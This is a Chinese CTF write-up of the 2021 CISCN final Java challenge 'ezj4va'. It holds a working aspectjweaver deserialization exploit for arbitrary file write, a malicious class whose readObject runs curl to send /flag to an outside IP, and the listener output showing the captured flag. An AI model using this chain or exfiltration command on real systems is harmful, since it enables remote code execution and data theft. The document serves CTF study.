2021-CISCN-fianl-ezj4va

news/2024/12/22 19:58:25/

2021-CISCN-fianl-ezj4va

前言

去年国赛决赛的0解Java,后来出现在了DASCTF八月挑战赛,当时不太会Java所以没有看,今天找个时间复现了一下。写的比较简单,具体可以看参考链接中的文章。

代码审计

访问/robots.txt得到文件名可以下载到源码。

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>ciscn.fina1</groupId><artifactId>ezj4va</artifactId><version>0.0.1-SNAPSHOT</version><packaging>jar</packaging><properties><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target></properties><dependencies><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>8.5.38</version></dependency><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.5</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.72</version></dependency></dependencies><build><finalName>ezj4va</finalName><resources><resource><directory>src/main/webapp</directory><targetPath>META-INF/resources</targetPath><includes><include>*.*</include></includes></resource><resource><directory>src/main/resources</directory><includes><include>**/*.*</include></includes></resource></resources><plugins><plugin><groupId>org.codehaus.mojo</groupId><artifactId>appassembler-maven-plugin</artifactId><version>2.0.0</version><configuration><assembleDirectory>target</assembleDirectory><programs><program><mainClass>ciscn.fina1.ezj4va.launch.Main</mainClass></program></programs></configuration><executions><execution><phase>package</phase><goals><goal>assemble</goal></goals></execution></executions></plugin></plugins></build></project>

简单审计之后知道的是,存在反序列化漏洞,依赖中有aspectjweaver但是没有CommonsCollections

写文件

对于整个chain:

Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

其实是要调用SimpleCache$StorableCachingMap.put(),可以发现这里:

    @Overridepublic Cart addToCart(String skus, String oldCartStr) throws Exception {Cart toAdd =(Cart) Deserializer.deserialize(skus);Cart cart=null;if(oldCartStr!=null)cart= (Cart) Deserializer.deserialize(oldCartStr);if(cart==null)cart=new Cart();if(toAdd.getSkuDescribe()!=null){Map skuDescribe = cart.getSkuDescribe();for(Map.Entry<String,Object> entry:toAdd.getSkuDescribe().entrySet()){skuDescribe.put(entry.getKey(),entry.getValue());}}

skuDescribeentry反序列化之后都可控,所以可以直接触发put()实现任意写,POC:

        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);//Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("./WEB-INF/classes/ciscn/fina1/ezj4va/domain/", 123);Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("./target/classes/", 123);Cart cart = new Cart();Field skuDescribeField = Cart.class.getDeclaredField("skuDescribe");skuDescribeField.setAccessible(true);skuDescribeField.set(cart,expMap);Cart toAdd = new Cart();Map<String,Object> fileMap = new HashMap<>();String content = "yv66vgAAADQAJgoACQAVCgAWABcHABgIABkIABoIABsKABYAHAcAHQcAHgcAHwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWAQAKRXhjZXB0aW9ucwcAIAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAIQwAIgAjAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAH2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk4NzYMACQAJQEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAQAKAAAAAgABAAsADAABAA0AAAAhAAEAAQAAAAUqtwABsQAAAAEADgAAAAoAAgAAAAUABAAGAAIADwAQAAIADQAAADcABQACAAAAG7gAAga9AANZAxIEU1kEEgVTWQUSBlO2AAdXsQAAAAEADgAAAAoAAgAAAAkAGgAKABEAAAAEAAEAEgABABMAAAACABQ=";fileMap.put("Evil.class",Base64.getDecoder().decode(content));skuDescribeField.set(toAdd,fileMap);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(cart)));System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(toAdd)));Evil evil = new Evil();System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(evil)));

rce

然后就是写一个恶意类的class,把命令执行写到readObject里面,然后把.class写到classpath中,再利用反序列化这个类实现rce。本地是打通了,远程感觉压根写不进去,感觉classpath根本不是./target/classes/,迷。。。

--------------------------------------------------分割线---------------------------------------------

后来偶然发现buu上这题还上了加固,直接ssh连上去看了一下,发现./目录不是/app/目录,而是/app/bin目录,导致写错了。

改成/app/target/classes/即可。

写Evil.java:

import java.io.Serializable;public class Evil implements Serializable {private void readObject(java.io.ObjectInputStream s) throws Exception{Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://121.5.169.223:39555 -F file=@/flag"});}
}
javac Evil.java
cat Evil.class|base64 -w 0
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("/app/target/classes/", 123);Cart cart = new Cart();Field skuDescribeField = Cart.class.getDeclaredField("skuDescribe");skuDescribeField.setAccessible(true);skuDescribeField.set(cart,expMap);Cart toAdd = new Cart();Map<String,Object> fileMap = new HashMap<>();String content = "yv66vgAAADQAJgoACQAVCgAWABcHABgIABkIABoIABsKABYAHAcAHQcAHgcAHwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWAQAKRXhjZXB0aW9ucwcAIAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAIQwAIgAjAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEALmN1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk1NTUgLUYgZmlsZT1AL2ZsYWcMACQAJQEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAQAKAAAAAgABAAsADAABAA0AAAAdAAEAAQAAAAUqtwABsQAAAAEADgAAAAYAAQAAAAMAAgAPABAAAgANAAAANwAFAAIAAAAbuAACBr0AA1kDEgRTWQQSBVNZBRIGU7YAB1exAAAAAQAOAAAACgACAAAABQAaAAYAEQAAAAQAAQASAAEAEwAAAAIAFA==";fileMap.put("Evil.class",Base64.getDecoder().decode(content));skuDescribeField.set(toAdd,fileMap);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(cart)));System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(toAdd)));Evil evil = new Evil();System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(evil)));

先往classpath里面写Evil.class,然后再反序列化Evil类即可。

在这里插入图片描述

在这里插入图片描述

root@VM-0-6-ubuntu:~/java/jndi# nc -lvvp 39555
Listening on [0.0.0.0] (family 0, port 39555)
Connection from 117.21.200.166 18524 received!
POST / HTTP/1.1
Host: 121.5.169.223:39555
User-Agent: curl/7.58.0
Accept: */*
Content-Length: 235
Content-Type: multipart/form-data; boundary=------------------------2f8c76b85a50abe1--------------------------2f8c76b85a50abe1
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-streamflag{c3b9785bd11defffc900569c778bd61c}--------------------------2f8c76b85a50abe1--

参考链接

https://www.anquanke.com/post/id/249651#h2-5


http://www.ppmy.cn/news/222251.html

相关文章

va_list深究

2011-04-21 21:06:11| 分类&#xff1a; C/C|字号 订阅 VA函数&#xff08;variable argument function&#xff09;&#xff0c;参数个数可变函数&#xff0c;又称可变参数函数。C/C编程中&#xff0c;系统提供给编程人员的va函数很少。*printf()/*scanf()系列函数&#xff0…

c语言va_start函数,va_start和va_end,以及c语言中的可变参数原理

FROM&#xff1a;http://www.cnblogs.com/hanyonglu/archive/2011/05/07/2039916.html 本文主要介绍va_start和va_end的使用及原理。 在以前的一篇帖子Format MessageBox详解中曾使用到va_start和va_end这两个宏&#xff0c;但对它们也只是泛泛的了解。 介绍这两个宏之前先看一…

va start linux头文件,va_start/va_end函数-linux

#include void va_start(va_list ap, last); type va_arg(va_list ap, type); void va_end(va_list ap); void va_copy(va_list dest, va_list src); 1:当无法列出传递函数的所有实参的类型和数目时,可用省略号指定参数表 void foo(...); void foo(parm_list,...); 2:函数参数…

va_list语法

va_list &#xff08;1&#xff09;va_list类型&#xff0c;定义该类型变量来指向可变参数的地址。它的定义为&#xff1a; typedef char * va_list;&#xff08;2&#xff09;va_start(va_list, arg)&#xff0c;va_start初始化va_list变量&#xff0c;使得va_list变量指向…

MySQL 两个备机同时挂掉故障分析

来源&#xff1a; 接报线上出现两个5.7.38的备库同时crash&#xff0c;crash堆栈相同&#xff0c;内容如下&#xff1a; stack_bottom 7fd7700b0d30 thread_stack 0x40000 /home/service/app/mysql33066/bin/mysqld(my_print_stacktrace0x2c)[0xf1062c] /home/service/app/m…

Misumi米思米数据线驱动无法安装

Misumi米思米数据线驱动无法安装 • Win10 系统无法安装。 • 驱动只能在 XP 或 Win7 使用 • KCA-M538F-000 • M538F USB High Speed Serial Converter

Python 经纬度转化为米

import math from math import cosdef position_turn(Latitude,Longitude):参考地址&#xff1a;https://blog.csdn.net/Dust_Evc/article/details/102847870?utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-7.control&…

python任务:用米粒填充国际棋盘

1.代码如下&#xff1a; 先上图 2.代码如下&#xff1a; sum 0 for i in range(64): sum sum 2i print(’{}: {}’.format(i 1, 2i)) print(‘sum {}’.format(sum)) 3.运行结果&#xff1a;